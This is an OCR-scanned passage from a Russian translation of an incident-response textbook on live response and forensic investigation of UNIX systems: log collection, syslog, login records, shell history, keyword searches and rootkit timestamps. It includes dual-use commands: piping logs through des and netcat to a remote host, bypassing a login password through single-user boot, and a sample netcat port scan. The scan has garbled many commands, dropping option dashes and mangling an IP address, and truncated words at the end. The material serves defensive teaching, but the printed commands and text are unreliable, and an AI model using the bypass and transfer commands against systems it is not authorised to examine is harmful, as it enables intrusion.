Is  alRc > /floppy/modification
Is  alR > /floppy/creation
Когда будут получены отметки времени/даты (что потребует некото-
рого времени), у вас появится больше времени для просмотра файлов. Од-
нако при этом по прежнему рекомендуется выполнять как можно меньше
операций.
После получения отметок времени/даты можно использовать команду
find для получения списка всех файлов (к которым был доступ), созданных
или модифицированных в определенных временных рамках. Этот шаг час-
то бывает необходим при реконструкции действий, которые атакующий
выполнил в системе.
Получение системных журналов во время реагирования
на работающей системе
Система UNIX имеет множество журналов, которые кажутся разбросанны-
ми в файловой системе совершенно случайным образом. Системный адми-
нистратор может легко изменять имена и расположение этих журналов,
чтобы удовлетворить свои потребности.
Большинство разновидностей UNIX содержат свои файлы журналов в
подкаталогах /var/adm или /var/log. Необходимо знать каждый из вариан-
тов и местоположение журналов. В главе 12 рассматривалось расположение

Начальное реагирование в системах UNIX
333
и назначение журналов UNIX. Здесь мы остановимся на извлечении фай-
лов журналов.
Используется комбинация netcat, cryptcat, dd и des для получения фай-
лов журналов в системе. Желательно получить хотя бы три двоичных фай-
ла журналов (wtmp, utmp и lastlog) и распространенные текстовые файлы
журналов.
Следующие двоичные файлы представляют наибольший интерес:
Файл utmp, доступный с помощью утилиты w
Файл wtmp, доступный с помощью утилиты last
Файл laslog, доступный с помощью утилиты Lastlog
Журналы учета процессов, доступные с помощью утилиты lastcomm
Далее показаны распространенные текстовые файлы журналов
Журналы доступа к Web (/var/log/httpd/access_log)
Xferlog (журналы ftp)
Файлы истории
Желательно также просмотреть файл /etc/syslog.conf, чтобы опреде-
лить,/имеются ли какие то дополнительные журналы, такие как TCP Wrap-
per щи журналы определенных приложений, поддерживаемые в системе.
Назначение каждого из этих журналов рассматривается в главе 12.
Далее показан пример, как получить сообщения /var/log/ из целевой
системы Linux с помощью зашифрованной передачи. Выполните следую-
щую командную строку на машине жертве:
dd if=/var/log/messages | des  е  с  k password | nc  w 3
'°2.168.10.210 2222
На судебной рабочей станции выполните следующее:
nс  1  р 2222 | des  d  с  к password | dd of=messages
md5sum messages
Вы теперь имеете журнал сообщений и значение md5sum файла доказа-
тельства.
ВНИМАНИЕ Лучше использовать команды w, last и lastlog, чем получать копию
двоичных файлов utmp, wtmp и lastlog. Эти двоичные файлы имеют
собственные форматы и требуют правильных версий w, last и lastlog
для их просмотра. Это становится проблемой, когда имеется копия
журнала utmp HP UX, но нет системы HP UX для выполнения версии
w HP UX для просмотра содержимого двоичного файла. То же са-
мое правило применимо к журналам учета процессов: используйте
команду lastcomm для доступа к журналу, а не копируйте сам файл
журнала.

334
Глава 11
Получение важных конфигурационных файлов
UNIX поддерживает определенные конфигурационные файлы, к которым
обычно обращаются или изменяют атакующие. Важно просмотреть каждый
из этих конфигурационных файлов, чтобы выявить черные входы, неавто-
ризованные доверительные отношения и идентификаторы неавторизован-
ных пользователей. (О назначении этих файлов см. главу 12). Здесь перечис-
лены файлы, которые можно получить во время начального реагирования:
/etc/passwd для просмотра неавторизованных учетных записей поль-
зователей или привилегий
/etc/shadow, чтобы убедиться, что каждая учетная запись требует
аутентификации пароля
/etc/groups, чтобы найти расширение привилегий и области доступа
/etc/hosts, чтобы перечислить локальные записи DNS
/etc/hosts.equiv, чтобы просмотреть доверительные отношения
~/.rhosts для просмотра всех доверительных отношений на основе
пользователей
/etc/hosts.allow и /etc/hosts.deny (правила TCPWrapper)
/etc/syslog.conf, чтобы определить расположение файлов журналов
/etc/rc для просмотра стартовых файлов
Файлы crontab для перечисления спланированных событий
/etc/inetd.conf для перечисления служб, которые слушает inetd
Копирование системной оперативной памяти
Не существует удобного способа копирования системной оперативной па-
мяти на машинах UNIX. Мы обычно пересылаем файл /proc/kmem или
файл /proc/kcore из целевой системы. В этом файле --- содержимое сис-
темной оперативной памяти в неупорядоченном виде. Содержимое можно
использовать с целью поиска строк для получения информации; очень не-
многие люди могут выполнить анализ копии оперативной памяти.
Анализ файлов core и kmem выполняется аналогично анализу исполняе-
мого файла. К сожалению, необходимо реконструировать и восстановить
начальные файлы до того, как можно будет выполнить стандартный анализ
исполняемого файла.
ИТОГИ
Большинство мощных серверов Интернета по прежнему выполняют опера-
ционную систему UNIX. Множество очень дорогих и заметных инцидентов
происходят на этих серверах. Поэтому необходимо усовершенствовать уро-
вень своего начального реагирования при встрече с целевыми системами,
выполняющими UNIX. Совершенствуйте свое мастерство. В следующей
главе будет рассматриваться исследование систем UNIX.

ГЛАВА 12
Исследование систем UNIX

336
Глава 12
Операционная система UNIX является мощной, гибкой и функциональ-
ной. Однако из за ее функциональности возникает множество проблем,
ев* чанных с безопасностью и исследованием. В этой главе описываются
свойства операционной системы UNIX, которые скорее всего помогут ис-
следователю при возникновении инцидента.
Помните, что в этой главе не рассматриваются все возможные инциден-
ты с UNIX. И для действительно эффективного реагирования требуется
умение критически мыслить и фундаментальное понимание функциональ-
ности UNIX.
ПОДГОТОВКА К КРИТИЧЕСКОМУ РАССМОТРЕНИЮ
ВОССТАНОВЛЕННОГО ОБРАЗА
Если начальное реагирование предоставило неопровержимую информа-
ции для дальнейшего исследования системы, то имеются две основные
возможности:
Выполнить исследовательские действия на самой информационной
среде доказательства.
Создать судебный дубликат информационной среды доказательства и
выполнить исследовательские действия на восстановленном образе.
Так же как и при исследовании систем Windows, лучше всего выполнять
исследовательские действия на образе доказательства. Исследование по опре-
делению является вмешивающимся. При исследовании самой информацион-
ной среды доказательства без создания судебного дубликата изменяется ре-
альное доказательство, и не существует никакого эталона для сравнения
после изменения системы исследовательскими действиями. Например,
просмотр файла или записи каталога в системе доказательства приводит к
изменению информации системы. Эта информация может быть ключевым
элементом при создании обвинительного заключения. При создании судеб-
ного дубликата информационной среды доказательства с помощью EnCase
или dd (см. главу 5) всегда остается исходный судебный образ (файлы .sfb
утилиты Safeback и файлы доказательства .ЕОх утилиты Encase) для восста-
новления на тот случай, если исследовательские действия случайно удалят
или разрушат доказательство.
Второй возможностью является монтирование восстановленного обра-
за в системе UNIX. Можно смонтировать образ в режиме только для чте-
ния и обращаться к файлам восстановленного образа, не беспокоясь об их
изменении. Следующая командная строка монтирует диск ЕХТ2 только для
чтения в точке монтирования базовой операционной системы:
mount  t ext2  г /dev/hdb /mnt/evidencedrive
При монтировании диска только для чтения уменьшается возможность
изменения любых данных образа (или оригинала). И для систем UNIX, в
отличие от систем Windows, реальное восстановление образа является

Исследование систем UNIX
337
менее нужным, так как большая часть доказательства хранится в файлах,
доступных для просмотра с помощью утилит командной строки.
Как отмечалось в предыдущих главах, необходимо выполнять автоном-
ный просмотр системы доказательства для максимально возможного числа
исследовательских действий.
Загрузка в собственной операционной системе
Если в какой то момент во время исследования необходимо загрузить вос-
становленный образ в его собственной операционной системе для про-
смотра доказательства, недоступного при других способах просмотра, заре-
гистрируйтесь в системе. Для этого используйте имя пользователя и
пароль или механизм, чтобы обойти данное требование. Легче всего полу-
чить эту информацию, запрашивая пароли у администратора системы. Од-
нако, несомненно, будут ситуации, когда пароли недоступны. Возможно,
подозревается администратор или атакующий изменил пароли.
Чтобы получить доступ к системе, не зная пароля, на большинстве раз-
новидностей UNIX, можно использовать однопользовательский режим за-
грузки (только с консоли), который предоставляет административный до-
ступ без пароля. В системах Linux введите linux 1 во время приглашения
загрузки. Система загрузится и предоставит административное приглаше-
ние. В системах Solaris попробуйте ввести boot  s или b  s, чтобы получить
однопользовательский режим загрузки. Найдите в документации операци-
онной системы соответствующую информацию для других разновидностей
UNIX.
Если будет предложено ввести пароль после входа в однопользователь-
ском режиме, то это означает, что были предприняты дополнительные
меры безопасности. Систему UNIX можно сконфигурировать для запрета
такого доступа без пароля (называемого режимом обслуживания). На обо-
рудовании Sun этого можно добиться с помощью настроек в постоянной
памяти (ROM). В этом случае может понадобиться снять жесткий диск и ис-
пользовать другое оборудование, где известен пароль EEPROM. Когда вы
вошли в систему как администратор, то можете просмотреть и вскрыть
хеш пароля или изменить пароль.
Другой возможностью является использование Trinux. Trinux --- это ди-
стрибутив UNIX, который умещается на нескольких гибких дисках. Идея
состоит в том, чтобы загрузиться с загрузочного диска Trinux, а затем смон-
тировать существующий жесткий диск с помощью команды mount. Альтер-
нативно можно загрузиться с помощью исходной запоминающей среды ---
компакт диска или загрузочной дискеты. После загрузки из Trinux или ис-
ходной запоминающей среды можно восстановить, изменить или удалить
административный пароль, а затем выполнить нормальную загрузку.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Trinux Linux Security Toolkit: http://www.trinux.org

338
Глава 12
Выполнение начального низкоуровневого анализа
Прежде чем проводить исследование UNIX, проверьте таблицу разделов и
метки томов в запоминающей среде доказательства. Иногда система может
иметь несколько операционных систем или типов файловых систем. Пони-
мание того, что реально существует на запоминающей среде доказательства,
является важным первым шагом.
Чтобы определить, что находится на диске, используйте ptable, коммер-
ческую утилиту от NTI или утилиту fdisk под Linux. С целью идентификации
и для ссылок документируйте таблицу разбиений и метки томов запоминаю-
щей среды доказательства перед выполнением каких либо других исследова-
тельских действий. Желательно определить число разбиений, а также нали-
чие в системе нескольких операционных систем. С распространением
систем с двойной загрузкой, особенно с помощью VMware, существование
нескольких операционных систем не является необычной ситуацией.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
VMware (программное обеспечение для выполнения нескольких операционных
систем одновременно): http://www.vmware.com
ПРОВЕДЕНИЕ ИССЛЕДОВАНИЯ UNIX
Вы подготовились к исследованию UNIX, настроив судебную рабочую
станцию и/или загрузив образ. Далее описаны ключевые действия при
исследовании многих инцидентов UNIX:
Просмотр всех имеющих отношение к делу журналов
Выполнение поиска ключевых слов
Просмотр важных файлов
Идентификация неавторизованных учетных записей пользователей
или групп
Идентификация незаконных процессов
Проверка точек неавторизованного входа
Анализ доверительных отношений
Эти действия перечислены не в хронологическом порядке и не в поряд-
ке их важности. Не для каждого инцидента может понадобиться выполнять
все эти действия. Подход будет зависеть от конкретного инцидента и цели
реагирования.
Просмотр имеющих отношение к делу журналов
Операционные системы UNIX имеют множество файлов журналов, предо-
ставляющих важные ключевые данные во время реагирования на инцидент.
Регистрируются не только такие системные действия как вход в систему, за
пуск и выключение, но также события, связанные с сетевыми службами

Исследование
систем
U
NIX
339
UNIX. Большинство файлов журналов расположены в общих каталогах,
обычно /var/log. Однако некоторые разновидности UNIX будут использо-
вать другой каталог, такой как /usr/adm или /var/adm. Некоторые журна-
лы располагаются в произвольных местах, таких как /etc. Когда возникают
сомнения, необходимо обратиться к документации операционной системы.
Сетевые журналы
Одной из наиболее мощных возможностей регистрации в UNIX является
файл syslog (системный журнал). Этот журнал перехватывает события из
программ и подсистем UNIX. Деятельность syslog контролируется с помо-
щью конфигурационного файла syslog, обычно /etc/syslog.conf. Демон sys-
log, syslogd, выполняется в системе для регистрации сообщений. Syslog
предлагает также возможность удаленной регистрации сообщений через
сеть. В целом, возможности регистрации, предоставляемые syslog являются
очень мощными и гибкими. В большинстве разновидностей UNIX syslog за-
писывает в некоторую совокупность файлов в используемом по умолчанию
каталоге журналов, но наиболее полезными журналами обычно являются
файлы messages, secure и syslog.
Конфигурационный файл syslog контролирует, в какие журналы посыла-
ются определенные типы сообщений. Каждая строка в конфигурационном
файле содержит три поля:
Поле средства (facility) обозначает подсистему, которая создает файл
журнала. Например, журналы sendmail со средством mail. Типами
средств являются auth (безопасность), authpriv, cron, daemon, kern,
lpr, mail, mark, news, syslog, user, uucp, и 1оса10 7.
Поле приоритета показывает уровень серьезности записи в журнале.
Существует восемь уровней приоритета: debug, info, notice, warning,
err, crit, alert и emerg.
Поле действия определяет, как журнал будет записываться. Действие мо-
жет быть именем файла журнала или даже IP адресом удаленного хоста
регистрации.
Следующая строка является частью файла syslog.conf в системе Solaris 2.7:
*. err; kern.debug; daemon.notice;mail.crit
/var/adm/messages
Эта конфигурационная запись показывает четыре записи средство/прио-
ритет, которые все записываются в файл сообщений /var/adm/. *.err в на-
чалЛ означает любое средство с уровнем приоритета err или выше. Запись
mail.crit демонстрирует, что записывается любое сообщение средства mail с
приоритетом crit или выше. Поле действия в этом примере определяет, что
все сообщения syslog, которые соответствуют показанному критерию средст-
во/приоритет, будут регистрироваться в файле сообщений /var/adm/.
Следующая запись из файла /var/log/syslog в системе Solaris. Эта запись
находится в файле /var/log/maillog в некоторых разновидностях Linux.
Apr 16 14:40:44 pearl sendmail[5857]: 0AA05857: ruleset=check_rcpt,

340
Глава 12
arg1=<you@there.edu>, relay=[10.135.57.162], reject=550
<yo@there.edu> ... Relaying denied
Запись показывает, что кто то пытался переслать почту через службу
sendmail, но попытка была предотвращена.
Журналы TCP Wrappers Важной программой, использующей syslog, являет-
ся TCP Wrappers. TCP Wrappers --- средство контроля на базе хоста для
служб TCP и UDP. Любые попытки соединения со службами, которые за-
ключены в оболочку (wrapped), регистрируются в syslog. Безопасная обо-
лочка (ssh) также использует возможности записи в syslog.
Ниже показан фрагмент из файла /var/log/messages в системе Red Hat
Linux:
May 13 23:11:45 victim sshd[12528]: ROOT LOGIN REFUSED FROM
xxx xxx.edu
Отметим, что запись журнала предоставляет множество ценной инфор-
мации: время и дату попытки входа, имя хоста (victim), службу (sshd) и
IP адрес системы, которая пыталась зарегистрироваться.
Другой пример показывает, как записывается успешное соединение со
службой:
Apr 26 20:36:59 victim in.tftpd[524]: connect from 10.10.10.10
Эта запись показывает, что хост 10.10.10.10 соединился с сервером TFTP
на машине victim 26 апреля. Как вы узнали в предыдущих главах, взаимо-
связь соединений и времени доступа к файлам может быть одним из наибо-
лее мощных методов исследователя.
Запись журналов на удаленном сервере Syslog Файлы журналов, создан-
ные локально демоном syslog, являются текстовыми файлами. Обычно они
доступны всем для чтения, но запись разрешается только администратору.
Это означает, что любой атакующий, который получит доступ администра-
тивного уровня, сможет легко изменить файлы журналов syslog --- удаляя
определенные записи, модифицируя определенные записи или добавляя
вводящие в заблуждение записи. Эти модификации практически невозмож-
но обнаружить. Если вы подозреваете, что атакующий получил доступ ад-
министративного уровня к системе, где хранятся журналы, не доверяйте
журналам. Единственный способ уверенно сказать, что атакующий изменил
файлы журналов, является создание избыточных журналов на надежном,
удаленном сервере.
Как упоминалось в главе 3, использование удаленного сервера syslog на-
стоятельно рекомендуется. Поле действия файла syslog.conf должно содер-
жать строку "@remote_host", где remote_host является IP адресом удаленного
сервера syslog.
В случае, когда система взломана, выполнены какие то манипуляции с
файлами журналов или атакующий удалил весь файл журнала, на удаленном
сервере syslog должна существовать первоначальная копия. Конечно, атаку-
ющий может добавить ложные записи на удаленный сервер syslog, но не
сможет редактировать или удалить записи, не скомпрометировав сначала

Исследование систем UNIX
341
НАГЛЯДНЫЙ ПРИМЕР
Несколько лет назад я был членом группы, расследующей инцидент в за-
секреченном правительственном здании. Кто то встроил троянский код
через средство сгоn (средство, используемое для планирования будуще-
го выполнения программ) на критически важном сервере UNIX. Троян-
ский код выключал сервер во время критически важного периода време-
ни. Сервер UNIX был одним из нескольких серверов, которые
записывали все сообщения syslog на удаленном сервере. На основе уже
обнаруженных доказательств мы надеялись идентифицировать зло-
умышленника, однако не могли сопоставить время входа подозреваемо-
го с другими доказательствами.
После длительного изучения мы поняли, что система, в которой ре
гистрировался подозреваемый, имела неправильное системное время.
Как мы это определили? Записи syslog являются хронологическими, так
как каждая новая запись просто добавляется в файл журнала. Время вхо-
да в систему подозреваемого --- 8:15, но поскольку оно находилось между
другими записями со временем между 6:14 и 6:16, то мы поняли, что сис-
темное время было неточным на сервере подозреваемого. Мы смогли
найти подозреваемого по времени, когда троянская программа была по-
мещена в систему.
удаленный сервер. В связи с этим удаленный сервер syslog должен быть бе-
зопасным хостом с минимальным доступом, предпочтительно одна кон
соль или ssh. Учетные записи и пароли сервера должны быть уникальными,
чтобы предотвратить доступ на основе компрометации паролей с других
систем.
Другие сетевые журналы В дополнение к syslog, системы UNIX могут под-
держивать другие журналы сетевой активности. Эти журналы в основном
зависят от службы (см. главу 14). Когда возникают сомнения, необходимо
обратиться к документации.
Примером другого журнала сетевой деятельности является файл xferlog
демона FTP университета Вашингтона. Пересылка любого файла записыва-
ется вместе с полезной информацией:
Thu May 10 18:17:05 2001 1 10.1.1.1 85303 /tftpboot/rinetd.zip b _ о г
chrisftp0*с
Эта запись журнала предоставляет следующую информацию:
Время и дату выполнения пересылки
Количество секунд, которые потребовались для передачи (1)
Удаленный хост (10.1.1.1)
Число переданных байтов
Число переданных файлов
Тип передачи (b для двоичной)

342
Глава 12
Флаг специального действия ( _ указывает на отсутствие специально-
го действия)
Направление передачи (о представляет исходящую; i означает входящую)
Режим доступа (r означает реальный доступ, в противоположность
анонимному или гостевому)
Имя пользователя (chris)
Название службы (ftp)
Метод аутентификации (0 для отсутствия)
Идентификатор пользователя (* указывает, что отсутствует)
Статус передачи (с означает завершенная)
Как мы видим, файл xferlog, а также другие журналы службы, могут быть
очень полезны при исследовании во время реагирования на инцидент.
Создание журналов хоста
UNIX предоставляет ряд файлов журналов, которые отслеживают операции
хоста. Некоторые из более полезных журналов записывают выполнение
команды su, зарегистрированных пользователей, попытки входа в систему
и выполнение заданий сгоn (программы планировщика).
Журналы команды su Команда su позволяет пользователю переключиться
на другой идентификатор пользователя во время сеанса. Используют ино-
гда атакующие, чтобы получить административный доступ к системе. UNIX
записывает каждую попытку выполнить команду su в системе. Журнал пока-
зывает время и дату попытки выполнить su, была ли попытка успешной
или нет, терминальное устройство, на котором пользователь пытается вы-
полнить su, и идентификатор пользователя до и после попытки выполнить
su. На некоторых разновидностях UNIX отдельный файл журнала su хра-
нится в одном из каталогов журналов. На других разновидностях попытка
выполнить su записывается в файл messages или syslog.
Журналы зарегистрированных пользователей Файлы utmp или wtmp испо-
льзуются для хранения информации о пользователях, зарегистрированных
в настоящее время в системе. Файл журнала называется по разному и хра-
нит разнообразную информацию в зависимости от разновидности UNIX.
Базовой хранимой информацией являются имя пользователя, использован-
ною для входа терминала, и время входа в систему. Файл хранится в двоич-
ном формате данных, а не в виде текстового файла.
Чтобы опросить файлы журналов utmp или wtmp, необходимо исполь-
зовать соответствующие клиентские программы, такие как w, who, finger
или last. Далее следует фрагмент результата выполнения используемой по
умолчанию команды last:
Jennifer pts/14 10.1.7.162 Mon May 14 20:00 20:49 (00:48)
billy pts/23 10.13.5.162 Mon May 14 19:20 still logged in
mike pts/21 10.10.201.5 Mon May 14 19:13 19:40 (00:27)

Исследование систем UNIX
343
Важно помнить, что двоичные журналы часто содержат больше информа-
ции, чем выводится с помощью используемых по умолчанию команд. Сущест
вует столько вариаций ключей, сколько версий UNIX. Используйте докумен-
тацию хоста (справочные страницы man) для получения дополнительной
информации о применении команд с входными файлами и ключами.
ОСТОРОЖНО Несмотря на тот факт, что журналы wtmp или utmp хранятся в двоич-
ном формате и не могут легко модифицироваться с помощью vi или
аналогичных редакторов, нельзя предполагать целостность этих
файлов. Многие обычные программы хакеров, такие как zap, могут
выборочно удалять записи из данных файлов.
Журналы попыток входа в систему Попытки входа в систему, успешные и
неудачные, записываются по умолчанию на большинстве систем UNIX.
Вместе с попытками регистрации в сетевых службах, таких как ftp или ssh,
вход в систему с консоли также сохраняется в одном из файлов журналов,
например файл messages в системах Linux.
Ниже представлен пример неудачных попыток входа в систему, записан-
ных в файле messages:
Dec 10 18:58:03 victim login[744]:FAILED LOGIN 1 FROM (null) FOR root,
Authentication failure
Dec(11 20:47:10 victim login[688]:FAILED LOGIN 1 FROM (null) FOR chris,
User not known to the underlying authentication module
Первая запись показывает неудачную попытку регистрации администра-
тора, а вторая запись --- того, кто пытается зарегистрироваться с несущест-
вующим именем пользователя.
В отличие от Linux, Solaris будет записывать неудачные попытки в отде-
льном файле журнала login только в том случае, если этот файл был создан
администратором.
Журналы cron Сrоn является средством UNIX, которое позволяет пользова-
телям планировать программы для будущего выполнения. Оно часто исполь-
зуется атакующими. Все выполненные задания сгоп записываются в журнал,
обычно в /var/cron/log или в используемый по умолчанию каталог журна-
лов в файл с именем сrоn. Поговорим о сгоп более подробно, когда будем
рассматривать файлы запуска в разделе "Просмотр специальных файлов".
Запись в журнал деятельности пользователя
Вместе с входом в систему в журналы UNIX записываются и другие типы
деятельности пользователя. Журналы учета процессов и файлы истории
оболочки записывают команды, выполняемые пользователями.
Журналы учета процессов Как упоминалось в главе 3, учет процессов явля-
ется свойством UNIX. С его помощью записывается каждая команда, вы-
полняемая пользователем. Этот Тип журналов не задается по умолчанию.
Если в системе не существуют файлы журналов acct или pacct, вы не сможе-
те использовать подобное свойство. Если существует один из этих файлов,
можно испольаовять команды lastcomm или acctcom для просмотра содер
жимого файла.

344
Глава 12
Файл журнала является двоичным файлом, и мы не знаем ни одной обще-
доступной утилиты атаки для редактирования этого файла. Чтобы удалить
данное доказательство, атакующему надо удалить файл журнала. Если атаку-
ющий переименует свою утилиту атаки как "netscape", то информация в жур-
нале учета процессов будет не слишком полезной.
История оболочки Пользователи с интерактивным доступом к системам
UNIX имеют соответствующую командную оболочку, такую как Bourne (sh),
Коrn (ksh) или Bourne Again (bash). Эти оболочки предоставляют возмож-
ность записывать все команды вместе со своими параметрами командной
строки. Обычно файл истории хранится в скрытом файле в домашнем ката-
логе пользователя (home). Ниже представлен фрагмент файла истории для
оболочки bash.
[root@lucky]# more .bash_history
su
ssh root@test.victim.cz
ping test.victim.cz
nc  v  z  n 10.1.1.134 22
Что может произойти
Атакующий только что получил административный доступ к системе. Од-
ним из первых действий атакующего является удаление файла истории
.bash_history. Затем он связывает файл с /dev/null и делает его неспособным
записывать команды.
Где искать доказательства
Всякий раз при исследовании системы UNIX, подозреваемой в компроме-
тации, проверьте файлы истории оболочки. Если средство для записи ис-
тории инициировано и файл истории не существует, то им скорее всего ха-
кер удалил файл истории. Если файл истории существует как соединение с
/dev/null, то это является строгим подтверждением, что система была
скомпрометирована.
Поиск ключевых слов
Поиск ключевых слов является критически важной частью почти каждого
исследования при реагировании на инцидент, от оскорблений через e mail
до случаев компрометации удаленных сетей. Ключевые слова могут быть
представлены в широком диапазоне строк ASCII, включая пароль черного

Исследование систем UNIX
345
хода атакующего, имя пользователя, адрес MAC или IP адрес. Поиск ключе-
вых слов можно выполнять в логической файловой структуре или на физи-
ческом уровне, проверяя содержимое всего диска (см. главу 5). Некоторые
популярные судебные утилиты обсуждались в главах 5 и 10. В этой главе
рассмотрим выполнение поиска строк с помощью утилит UNIX.
Команда GREP
Мощная гибкая команда grep является основной утилитой при поиске
строк. Чтобы выполнить поиск строки в файле, используйте команду grep
следующим образом:
[root@lucky]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
Отметим, что строка в файле passwd, содержащая подстроку "root", по-
явится в качестве результата. Файл passwd является текстовым файлом.
Теперь попробуем использовать grep с двоичным файлом:
[root@lucky]# grep PROMISC /sbin/ifconfig
Binary file /sbin/ifconfig matches
В этот раз строка не выводится. Вместо этого появляется уведомление,
что двоичный файл имеет совпадающие записи. Если вы хотите увидеть за-
писи, используйте параметр  а для обработки двоичных файлов:
[root@lucky]# grep  a PROMISC /sbin/ifconfig
[NO FLAGS] UP BROADCAST DEBUG L00PBACK P0INT0P0INT NOTRAILERS
RUNNING NOARP PROMISC ALLMULTI SLAVE MASTER MULTICAST DYNAMIC
Различные версии grep имеют различные функциональные возможно-
сти. Версии GNU grep, поставляемые с Linux, более функциональны, чем
имеющиеся во многих других, более старых разновидностях UNIX. Чтобы
получить такие же результаты в системе Solaris, необходимо комбиниро-
вать другие утилиты, такие как strings, чтобы сначала извлечь строки ASCII
из двоичного файла:
$ strings /sbin/ifconfig | grep NOTRAILERS
NOTRAILERS
Чтобы выполнить более углубленный поиск с помощью grep, можно ре-
курсивно искать в файловой системе или на всем устройстве. Чтобы найти
во всей файловой системе все файлы, содержащие строку "password" в верх-
нем или нижнем регистре, попробуйте следующую команду:
[root@lucky]# grep  r  i password /
Если эта система использует более старую версию grep, которая не поддер-
живает списки каталогов, можно применять следующую комбинацию команд:
$ find /  print | xargs grep  i password
Предположим, что вы хотите найти строку, даже если файл был недав-
но удален. Отметим, что в следующем примере создается файл, который со
держит строку "InGiDeNt", а затем он удаляется. Строка все равно появится
во время поиска на всем устройстве.

34b
Глава 12
[root@lucky]# cat testfile
InCiDeNt
[root@lucky]# grep InCiDeNt /dev/sda3
Binary file /dev/sda3 matches
Вы видели несколько полезных параметров grep. Просмотрите справоч-
ные страницы grep, чтобы подробнее узнать обо всех возможностях этой
мощной утилиты.
ВНИМАНИЕ Раньше исследователи использовали grep для поиска на всем диске
доказательства наличия сетевых анализаторов. Практически каж-
дый сетевой анализатор имеет несколько строк, связанных с пере-
хваченным трафиком, поэтому если выполнить поиск этих строк на
всем устройстве и получить совпадения, то можно предполагать,
что сетевой анализатор либо был, либо существует в системе жерт-
ве. Конечно, эта методика не очень полезна сегодня, так как атакую-
щие стали умнее и используют шифрованные журналы сетевых
анализаторов.
Команда Find
Другой полезной командой для поиска строк является find. Команда find
может использоваться для поиска всех имен файлов, которые соответству-
ют регулярному выражению.
Пример поиска во всей файловой системе файла или каталога с именем
"...":
[root@aplinux /]# find /  name "\.\.\."  print
/home/mugge/MDAc/temp/.../root/...
Первая прямая наклонная черта (/) указывает, что операция find будет
искать во всей файловой системе. Параметр  name определяет, что атрибу-
том поиска является имя файла. Обратная наклонная черта (\) перед каж-
дой точкой (.) требуется для маскирования специального значения точки,
так как, по умолчанию, этот символ является групповым символом для регу-
лярных выражений. Отметим, что были найдены два совпадения. Если
команду выполнить без трех обратных наклонных черт, то результатом бу-
дет любой файл или каталог, которые имеют в своем имени три символа.
Команда find будет полезна при различных поисках. Она может искать в
файловой системе файлы, которые соответствуют широкому набору харак-
теристик, включая время модификации или доступа, владельца файла,
строку внутри файла, строку в имени файла и т.д. Find может также исполь-
зоваться в комбинации с другими командами, такими как strings или grep,
используя мощное средство exec. Более подробно об этом можно узнать на
справочных страницах (man).
Просмотр важных файлов
Почти наверняка многие файлы содержат доказательства, связанные с не-
которым данным инцидентом. Используйте несколько способов для опре-
деления файлов, скорее всего связанных с определенным инцидентом. Эти

Исследование систем UNIX
347
методы включают определение относящихся к делу файлов по их отметкам
времени/даты и по информации, полученной во время начального реаги-
рования на UNIX. Кроме того, можно найти конфигурационные и систем-
ные файлы, которыми обычно злоупотребляют атакующие.
Определение времени инцидента
и просмотр отметок времени/даты
Чтобы найти файлы и каталоги (к которым было обращение), модифициро-
ванные или созданные примерно во время предполагаемого инцидента, не-
обходимо сначала узнать время предполагаемого инцидента. Временные
рамки могут быть очень конкретными, такими как время, когда система IDS
обнаружила и записала в журнал происходящую атаку. С другой стороны вре-
менные рамки могут быть общими, например, когда системный администра-
тор соединил систему с Интернетом две недели назад, а свидетельство комп-
рометации обнаружено сегодня. Если имеется хорошая запись из внешнего
источника (такого, как сетевая система IDS) о времени атаки, то прежде
всего нужно проверить, что системное время IDS совпадает с временем сис-
темы жертвы.
Цель просмотра отметок времени/даты состоит в том, чтобы просле-
дить соответствующие временные интервалы, которые уже были определе-
ны. Все файлы или каталоги (к которым был доступ), модифицированные
или созданные в это время, являются потенциальными кандидатами на
имеющие отношение к делу объекты. Если отметки времени/даты не были
сохранены во время начального реагирования, то сейчас самое время это
сделать. Чтобы сохранить отметки времени/даты для UNIX, используйте
команду Is для получения времени доступа, модификации и создания (см.
главу 11). Результат работы подобных команд должен сохраняться на судеб-
ной рабочей станции или на магнитном носителе информации, а не в запо-
минающей среде доказательства.
ОСТОРОЖНО Если вы выполняете реагирование на действующей машине в запо-
минающей среде доказательства, а не на дубликате или не на смон-
тированной только для чтения файловой системе, ОСТАНОВИТЕСЬ!
Вы разрушаете чувствительные доказательства в форме отметок
времени/даты. Конечно, используя смонтированную только для чте-
ния файловую систему, вы можете применять такие команды, как
find, для поиска файлов в определенных временных рамках.
Затем можно использовать такие команды, как grep, для поиска в резуль-
тате работы этих команд ls соответствующих файлов. Например, чтобы
найти все файлы, к которым был доступ 16 апреля в интервале между 1 и 3
часами дня, применяйте следующую команду:
В примере ниже "access.txt" имеет смысл только в том случае, если исполь-
зуется пример ls выше, который создает файл access.txt.
[root@aplinux CLIENTS]# grep " Apr 16 1[34]" access.txt
 Rw rw r--- 1 root root 557 Apr 16 13:30 whois.txt
 Rw rw r--- 1 root root 557 Apr 16 13:30 passwd

348
Глава 12
Аналогичные результаты можно получить с помощью надежной команды
find с параметром  atime,  ctime, или  mtime.
Что может произойти
Вы только что обнаружили, что существует новая запись в файле passwd,
которую вы не добавляли:
haxor: х: 0: 540: : /home/haxor: /bin/bash
После выполнения начального реагирования и соответствующего полу-
чения образа системы, вы определили, что файл passwd был последний раз
изменен 8 декабря:
[root@victim]# ls  alc /etc/passwd
 rw r r 1 root root 722 Dec 8 22:58 /etc/passwd
Где искать доказательства
Выполнение поиска других файлов (к которым был доступ), модифициро-
ванных или созданных в это же время, создает интересный список:
access.txt mod.txt create.txt
0 Dec 8 15:51 ptyr
138283 Dec 8 14:50 Is
28952 Dec 8 14:50 ps
30968 Dec 8 14:50 netstat
13387 Dec 8 14:50 bindshell
232756 Dec 8 14:50 chfn
231328 Dec 8 14:50 chsh
25314 Dec 8 14:50 fuser
19840 Dec 8 14:50 ifconfig
Это частичный список файлов, обычно связанных с rootk.i . (Как объяс-
нялось в главе
rootk.it является совокупностью системных процессов и
сценариев со встроенным, как правило, троянским кодом, которые автома-
тизируют системные атаки). Дальнейшее исследование этих и других фай-
лов с близкими отметками времени, несомненно, подтвердит наличие ком-
прометации. Поиск других файлов и каталогов, модифицированных в
подозрительных временных рамках, может пр
огромный отч
для исследователя.
Восстановление удаленных файлов и данных
Часто необходимо восстановить удаленные файлы или данные для исследова-
я. В главе 11 показывалось, как восстановить программы, связанные с вы-
полняющимися процессами. Может также понадобиться восстановить файлы
в файловой системе. Успешное восстановление файлов в системе UNIX требу-
ет некоторого детального знания стру т файловой системы.
